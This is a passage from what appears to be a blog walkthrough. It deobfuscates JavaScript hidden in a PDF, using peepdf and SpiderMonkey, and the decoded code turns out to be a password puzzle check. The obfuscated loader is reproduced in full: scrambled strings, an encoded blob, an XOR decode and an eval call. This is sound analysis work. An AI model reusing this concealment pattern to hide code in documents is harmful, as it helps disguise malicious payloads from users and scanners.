</pre></td><td class='code'><pre><code class='js'><span class='line'>
</span><span class='line'><span class="nx">PPDF</span><span class="o">&gt;</span> <span class="nx">js_beautify</span> <span class="nx">object</span> <span class="mi">904</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">vv56</span><span class="p">(</span><span class="nx">h3m</span><span class="p">,</span> <span class="nx">n7</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">h3m</span> <span class="o">+</span> <span class="nx">n7</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">mz821a</span><span class="p">(</span><span class="nx">hu4</span><span class="p">,</span> <span class="nx">v9</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">v9</span><span class="p">[</span><span class="nx">hu4</span><span class="p">]</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="nx">kjj</span><span class="p">,</span> <span class="nx">y7</span><span class="p">,</span> <span class="nx">y8</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">kmn6</span> <span class="o">=</span> <span class="nx">y7</span> <span class="o">%</span> <span class="nx">kjj</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">s</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span><span class="p">;</span>
</span><span class='line'>    <span class="k">while</span> <span class="p">(</span><span class="nx">s</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;</span> <span class="nx">kjj</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="nx">s</span> <span class="o">+=</span> <span class="nx">mz821a</span><span class="p">(</span><span class="nx">kmn6</span><span class="p">,</span> <span class="nx">kjj</span><span class="p">);</span>
</span><span class='line'>        <span class="nx">kmn6</span> <span class="o">=</span> <span class="p">(</span><span class="nx">kmn6</span> <span class="o">+</span> <span class="nx">y8</span><span class="p">)</span> <span class="o">%</span> <span class="nx">kjj</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">s</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="nx">hnam4</span> <span class="o">=</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;49%68%DC%79%C9%29%D8%DD%E9%19%4D%D9%18%9D%29%BD%19%B9%AC%3D%F9%C8%F8%09%8C%E8%E9%99%C8%FA%E9%78%9A%99%89%48%79%99%38%19%DD%C8%E8%89%D8%C9%7D%49%29%18%88%38%78%F8%18%9D%6D%C9%DD%99%E9%9D%E9%49%89%9D%9D%89%88%08%9D%38%E8%89%F9%FB%99%8C%D9%C8%48%89%39%DD%A9%8D%E8%6B%99%5D%18%88%D8%E8%1D%F8%39%39%2D%D8%39%3D%0D%DD%DD%EB%F9%59%AD%09%88%69%E8%E9%FC%38%8D%DD%C8%DD%EA%C9%19%19%F9%78%09%A9%FD%B8%C9%A8%DD%89%49%DD%DD%DD%DB%49%49%CB%D9%E9%FC%E8%B9%1C%6D%FC%D9%D9%9D%DD%A9%C9%1D%CD%A9%0A%59%28%DD%E8%29%E9%5D%49%3D%F8%D8%CC%48%29%99%48%28%4C%78%DA%&quot;</span><span class="p">,</span> <span class="mi">199154</span><span class="p">,</span> <span class="mi">198821</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="nx">as6z</span> <span class="o">=</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;%ED%B9%C9%08%38%E8%29%89%89%68%A9%28%DD%2C%8D%9C%AB%8B%89%9D%FD%F9%E9%ED%58%F8%ED%8D%D9%59%19%49%C9%BD%39%19%1D%9B%9u%B8%4D%B8%C9%E9%8D%DD%D9%09%F9%F8%B9%B8%BC%49%D9%C9%A9%4D%6D%99%D9%DD%88%C9%28%A9%A8%DB%39%48%6C%ED%28%F8%38%E8%19%4D%59%5D%49%4D%3D%99%3C%89%79%98%C9%5D%BD%3D%49%88%8D%5D%6D%C9%98%C9%B9%09%49%D9%09%D95E9%F8%98%99%49%F9%3D%F8%3D%FD%5D%89%69%8D%9D%D8%99%38%3D%49%4B%99%DC%F9%F8%89%E9%19%C8%59%99%9D%59%59%88%E9%89%18%A9%1D%3D%98%D8%4D%F8%49%49%DD%DD%F9%39%F9%38&quot;</span><span class="p">,</span> <span class="mi">334776</span><span class="p">,</span> <span class="mi">334478</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">mns51</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">secret</span> <span class="o">===</span> <span class="kc">undefined</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="k">return</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;mfoCr&quot;</span><span class="p">,</span> <span class="mi">3436</span><span class="p">,</span> <span class="mi">3438</span><span class="p">);</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;omfrB&quot;</span><span class="p">,</span> <span class="mi">527</span><span class="p">,</span> <span class="mi">528</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">alopre7</span><span class="p">(</span><span class="nx">no</span><span class="p">,</span> <span class="nx">uv</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">yg1</span><span class="p">;</span>
</span><span class='line'>    <span class="nx">yg1</span> <span class="o">=</span> <span class="nx">mns51</span><span class="p">();</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">return</span> <span class="nx">mz821a</span><span class="p">(</span><span class="nx">yg1</span> <span class="o">+</span> <span class="nx">no</span><span class="p">,</span> <span class="nx">uv</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">enx</span><span class="p">(</span><span class="nx">u7b</span><span class="p">,</span> <span class="nx">i8uy</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">coded</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span><span class="p">;</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">f</span> <span class="o">=</span> <span class="nx">alopre7</span><span class="p">(</span><span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;ohCerda&quot;</span><span class="p">,</span> <span class="mi">5748</span><span class="p">,</span> <span class="mi">5752</span><span class="p">),</span> <span class="nb">String</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mh">0x39</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">+</span> <span class="o">~</span> <span class="o">-</span> <span class="o">~</span> <span class="o">-</span> <span class="o">~</span><span class="mi">57</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">mz821a</span><span class="p">(</span><span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;elhtgn&quot;</span><span class="p">,</span> <span class="mi">5071</span><span class="p">,</span> <span class="mi">5075</span><span class="p">),</span> <span class="nx">u7b</span><span class="p">);</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="nx">coded</span> <span class="o">+=</span> <span class="nx">f</span><span class="p">(</span><span class="nx">u7b</span><span class="p">[</span><span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;dtaoAhCecr&quot;</span><span class="p">,</span> <span class="mi">8828</span><span class="p">,</span> <span class="mi">8827</span><span class="p">)](</span><span class="nx">i</span><span class="p">)</span> <span class="o">^</span> <span class="nx">i8uy</span><span class="p">);</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">coded</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">ty32</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">mz821a</span><span class="p">(</span><span class="nx">mmu7d</span><span class="p">(</span><span class="nx">vv56</span><span class="p">(</span><span class="s2">&quot;a&quot;</span><span class="p">,</span> <span class="s2">&quot;v&quot;</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot;el&quot;</span><span class="p">,</span> <span class="mi">2470</span><span class="p">,</span> <span class="mi">2471</span><span class="p">),</span> <span class="nx">mz821a</span><span class="p">(</span><span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;ratteg&quot;</span><span class="p">,</span> <span class="mi">4898</span><span class="p">,</span> <span class="mi">4901</span><span class="p">),</span> <span class="nx">event</span><span class="p">));</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="nx">my6</span> <span class="o">=</span> <span class="nx">ty32</span><span class="p">();</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">dsm33</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">my6</span><span class="p">(</span><span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;nuepacse&quot;</span><span class="p">,</span> <span class="mi">6169</span><span class="p">,</span> <span class="mi">6175</span><span class="p">));</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="nx">h7</span> <span class="o">=</span> <span class="nx">dsm33</span><span class="p">();</span>
</span><span class='line'><span class="nx">my6</span><span class="p">(</span><span class="nx">enx</span><span class="p">(</span><span class="nx">h7</span><span class="p">(</span><span class="nx">as6z</span> <span class="o">+</span> <span class="nx">hnam4</span><span class="p">),</span> <span class="mh">0xFD</span><span class="p">));</span>
</span></code></pre></td></tr></table></div></figure>


<p>Obfuscated code! That looks suspicious. Let&rsquo;s dump it and look if we can deobfuscate the code.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF> js_beautify object 904 > 904</span></code></pre></td></tr></table></div></figure>


<h3>The key</h3>

<p>One of my favourite tools to analyze JavaScript is <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> which is a JavaScript engine. It&rsquo;s an easy way to run blocks of code to see what will be the result.</p>

<p>For instance in the above code, functions <code>mmu7d()</code> and <code>mz821a()</code> are used for string manipulation. You can put those functions into a file <code>decode.js</code>, then load the file into <strong>SpiderMonkey</strong>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class='js'><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">load</span><span class="p">([</span><span class="s1">&#39;decode.js&#39;</span><span class="p">])</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;mfoCr&quot;</span><span class="p">,</span> <span class="mi">3436</span><span class="p">,</span> <span class="mi">3438</span><span class="p">);</span>
</span><span class='line'><span class="nx">fromC</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;omfrB&quot;</span><span class="p">,</span> <span class="mi">527</span><span class="p">,</span> <span class="mi">528</span><span class="p">);</span>
</span><span class='line'><span class="nx">formB</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;ohCerda&quot;</span><span class="p">,</span> <span class="mi">5748</span><span class="p">,</span> <span class="mi">5752</span><span class="p">)</span>
</span><span class='line'><span class="nx">harCode</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="mh">0x39</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">+</span> <span class="o">~</span> <span class="o">-</span> <span class="o">~</span> <span class="o">-</span> <span class="o">~</span><span class="mi">57</span>
</span><span class='line'><span class="mi">0</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;elhtgn&quot;</span><span class="p">,</span> <span class="mi">5071</span><span class="p">,</span> <span class="mi">5075</span><span class="p">)</span>
</span><span class='line'><span class="nx">length</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;dtaoAhCecr&quot;</span><span class="p">,</span> <span class="mi">8828</span><span class="p">,</span> <span class="mi">8827</span><span class="p">)</span>
</span><span class='line'><span class="nx">charCodeAt</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="nx">addObjects</span><span class="p">(</span><span class="s2">&quot;a&quot;</span><span class="p">,</span> <span class="s2">&quot;v&quot;</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot;el&quot;</span><span class="p">,</span> <span class="mi">2470</span><span class="p">,</span> <span class="mi">2471</span><span class="p">)</span>
</span><span class='line'><span class="nb">eval</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;ratteg&quot;</span><span class="p">,</span> <span class="mi">4898</span><span class="p">,</span> <span class="mi">4901</span><span class="p">)</span>
</span><span class='line'><span class="nx">target</span>
</span><span class='line'><span class="nx">js</span><span class="o">&gt;</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;nuepacse&quot;</span><span class="p">,</span> <span class="mi">6169</span><span class="p">,</span> <span class="mi">6175</span><span class="p">)</span>
</span><span class='line'><span class="nx">unescape</span>
</span></code></pre></td></tr></table></div></figure>


<p>This makes our code more readable:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
</pre></td><td class='code'><pre><code class='js'><span class='line'><span class="kd">function</span> <span class="nx">vv56</span><span class="p">(</span><span class="nx">h3m</span><span class="p">,</span> <span class="nx">n7</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">h3m</span> <span class="o">+</span> <span class="nx">n7</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">mz821a</span><span class="p">(</span><span class="nx">hu4</span><span class="p">,</span> <span class="nx">v9</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">v9</span><span class="p">[</span><span class="nx">hu4</span><span class="p">]</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="nx">kjj</span><span class="p">,</span> <span class="nx">y7</span><span class="p">,</span> <span class="nx">y8</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">kmn6</span> <span class="o">=</span> <span class="nx">y7</span> <span class="o">%</span> <span class="nx">kjj</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">s</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span><span class="p">;</span>
</span><span class='line'>    <span class="k">while</span> <span class="p">(</span><span class="nx">s</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;</span> <span class="nx">kjj</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="nx">s</span> <span class="o">+=</span> <span class="nx">mz821a</span><span class="p">(</span><span class="nx">kmn6</span><span class="p">,</span> <span class="nx">kjj</span><span class="p">);</span>
</span><span class='line'>        <span class="nx">kmn6</span> <span class="o">=</span> <span class="p">(</span><span class="nx">kmn6</span> <span class="o">+</span> <span class="nx">y8</span><span class="p">)</span> <span class="o">%</span> <span class="nx">kjj</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">s</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="nx">hnam4</span> <span class="o">=</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;49%68%DC%79%C9%29%D8%DD%E9%19%4D%D9%18%9D%29%BD%19%B9%AC%3D%F9%C8%F8%09%8C%E8%E9%99%C8%FA%E9%78%9A%99%89%48%79%99%38%19%DD%C8%E8%89%D8%C9%7D%49%29%18%88%38%78%F8%18%9D%6D%C9%DD%99%E9%9D%E9%49%89%9D%9D%89%88%08%9D%38%E8%89%F9%FB%99%8C%D9%C8%48%89%39%DD%A9%8D%E8%6B%99%5D%18%88%D8%E8%1D%F8%39%39%2D%D8%39%3D%0D%DD%DD%EB%F9%59%AD%09%88%69%E8%E9%FC%38%8D%DD%C8%DD%EA%C9%19%19%F9%78%09%A9%FD%B8%C9%A8%DD%89%49%DD%DD%DD%DB%49%49%CB%D9%E9%FC%E8%B9%1C%6D%FC%D9%D9%9D%DD%A9%C9%1D%CD%A9%0A%59%28%DD%E8%29%E9%5D%49%3D%F8%D8%CC%48%29%99%48%28%4C%78%DA%&quot;</span><span class="p">,</span> <span class="mi">199154</span><span class="p">,</span> <span class="mi">198821</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="nx">as6z</span> <span class="o">=</span> <span class="nx">mmu7d</span><span class="p">(</span><span class="s2">&quot;%ED%B9%C9%08%38%E8%29%89%89%68%A9%28%DD%2C%8D%9C%AB%8B%89%9D%FD%F9%E9%ED%58%F8%ED%8D%D9%59%19%49%C9%BD%39%19%1D%9B%9u%B8%4D%B8%C9%E9%8D%DD%D9%09%F9%F8%B9%B8%BC%49%D9%C9%A9%4D%6D%99%D9%DD%88%C9%28%A9%A8%DB%39%48%6C%ED%28%F8%38%E8%19%4D%59%5D%49%4D%3D%99%3C%89%79%98%C9%5D%BD%3D%49%88%8D%5D%6D%C9%98%C9%B9%09%49%D9%09%D95E9%F8%98%99%49%F9%3D%F8%3D%FD%5D%89%69%8D%9D%D8%99%38%3D%49%4B%99%DC%F9%F8%89%E9%19%C8%59%99%9D%59%59%88%E9%89%18%A9%1D%3D%98%D8%4D%F8%49%49%DD%DD%F9%39%F9%38&quot;</span><span class="p">,</span> <span class="mi">334776</span><span class="p">,</span> <span class="mi">334478</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">mns51</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">secret</span> <span class="o">===</span> <span class="kc">undefined</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="k">return</span> <span class="s2">&quot;fromC&quot;</span><span class="p">;</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">return</span> <span class="s2">&quot;fromB&quot;</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">alopre7</span><span class="p">(</span><span class="nx">no</span><span class="p">,</span> <span class="nx">uv</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">yg1</span><span class="p">;</span>
</span><span class='line'>    <span class="nx">yg1</span> <span class="o">=</span> <span class="nx">mns51</span><span class="p">();</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">return</span> <span class="nx">mz821a</span><span class="p">(</span><span class="nx">yg1</span> <span class="o">+</span> <span class="nx">no</span><span class="p">,</span> <span class="nx">uv</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">enx</span><span class="p">(</span><span class="nx">u7b</span><span class="p">,</span> <span class="nx">i8uy</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">coded</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span><span class="p">;</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">f</span> <span class="o">=</span> <span class="nx">alopre7</span><span class="p">(</span><span class="s2">&quot;harCode&quot;</span><span class="p">,</span> <span class="nb">String</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">mz821a</span><span class="p">(</span><span class="s2">&quot;length&quot;</span><span class="p">,</span> <span class="nx">u7b</span><span class="p">);</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="nx">coded</span> <span class="o">+=</span> <span class="nx">f</span><span class="p">(</span><span class="nx">u7b</span><span class="p">[</span><span class="s2">&quot;charCodeAt&quot;</span><span class="p">](</span><span class="nx">i</span><span class="p">)</span> <span class="o">^</span> <span class="nx">i8uy</span><span class="p">);</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">coded</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">ty32</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">mz821a</span><span class="p">(</span><span class="s2">&quot;eval&quot;</span><span class="p">,</span> <span class="nx">mz821a</span><span class="p">(</span><span class="s2">&quot;target&quot;</span><span class="p">,</span> <span class="nx">event</span><span class="p">));</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="nx">my6</span> <span class="o">=</span> <span class="nx">ty32</span><span class="p">();</span>
</span><span class='line'>
</span><span class='line'><span class="kd">function</span> <span class="nx">dsm33</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">my6</span><span class="p">(</span><span class="s2">&quot;unescape&quot;</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="nx">h7</span> <span class="o">=</span> <span class="nx">dsm33</span><span class="p">();</span>
</span><span class='line'>
</span><span class='line'><span class="nx">my6</span><span class="p">(</span><span class="nx">enx</span><span class="p">(</span><span class="nx">h7</span><span class="p">(</span><span class="nx">as6z</span> <span class="o">+</span> <span class="nx">hnam4</span><span class="p">),</span> <span class="mh">0xFD</span><span class="p">));</span>
</span></code></pre></td></tr></table></div></figure>


<p>It seems that last line of the code invokes all the functions. Let&rsquo;s break it down:</p>

<ul>
<li><code>as6z + hanm4</code> concatenates string variables</li>
<li><code>h7()</code> invokes <code>unescape()</code></li>
<li><code>enx(dstring,key)</code> decodes <code>string</code> with a <code>key</code></li>
<li><code>my6()</code> invokes <code>eval()</code></li>
</ul>


<p>To see the results just comment out the following code and <code>print()</code> the results instead of <code>eval()</code>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class='js'><span class='line'><span class="c1">//function ty32() {</span>
</span><span class='line'><span class="c1">//    return mz821a(&quot;eval&quot;, mz821a(&quot;target&quot;, event));</span>
</span><span class='line'><span class="c1">//}</span>
</span><span class='line'><span class="c1">//var my6 = ty32();</span>
</span><span class='line'><span class="c1">//function dsm33() {</span>
</span><span class='line'><span class="c1">//   return my6(&quot;unescape&quot;);</span>
</span><span class='line'><span class="c1">//}  </span>
</span><span class='line'>
</span><span class='line'><span class="c1">//var h7 = dsm33();</span>
</span><span class='line'><span class="c1">//my6(enx(h7(as6z+hnam4), 0xFD));</span>
</span><span class='line'>
</span><span class='line'><span class="nx">print</span><span class="p">(</span><span class="nx">enx</span><span class="p">(</span><span class="nx">unescape</span><span class="p">(</span><span class="nx">as6z</span><span class="o">+</span><span class="nx">hnam4</span><span class="p">,</span> <span class="mh">0xFD</span><span class="p">)))</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now run it in <strong>SpiderMonkey</strong>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class='js'><span class='line'><span class="nx">remnux</span><span class="err">@</span><span class="nx">remnux</span><span class="o">:~</span><span class="err">/Desktop/PDF-B/Post$ js object-904 &gt; results</span>
</span><span class='line'><span class="nx">remnux</span><span class="err">@</span><span class="nx">remnux</span><span class="o">:~</span><span class="err">/Desktop/PDF-B/Post$ js-beautify results</span>
</span><span class='line'><span class="kd">function</span> <span class="nx">raven</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">getField</span><span class="p">(</span><span class="s2">&quot;pass&quot;</span><span class="p">).</span><span class="nx">value</span> <span class="o">==</span> <span class="k">this</span><span class="p">.</span><span class="nx">getField</span><span class="p">(</span><span class="s2">&quot;e&quot;</span><span class="p">).</span><span class="nx">value</span> <span class="o">+</span> <span class="s2">&quot;antistring&quot;</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="k">this</span><span class="p">.</span><span class="nx">getField</span><span class="p">(</span><span class="s2">&quot;door2&quot;</span><span class="p">).</span><span class="nx">hidden</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
</span><span class='line'>        <span class="nx">app</span><span class="p">.</span><span class="nx">alert</span><span class="p">({</span>
</span><span class='line'>            <span class="nx">cMsg</span><span class="o">:</span> <span class="s2">&quot;Congratulations! You have solved the puzzle&quot;</span><span class="p">,</span>
</span><span class='line'>            <span class="nx">cTitle</span><span class="o">:</span> <span class="s2">&quot;Access granted&quot;</span><span class="p">,</span>
</span><span class='line'>            <span class="nx">nIcon</span><span class="o">:</span> <span class="mi">3</span>
</span><span class='line'>        <span class="p">});</span>
</span><span class='line'>    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span><span class='line'>        <span class="nx">app</span><span class="p">.</span><span class="nx">alert</span><span class="p">({</span>
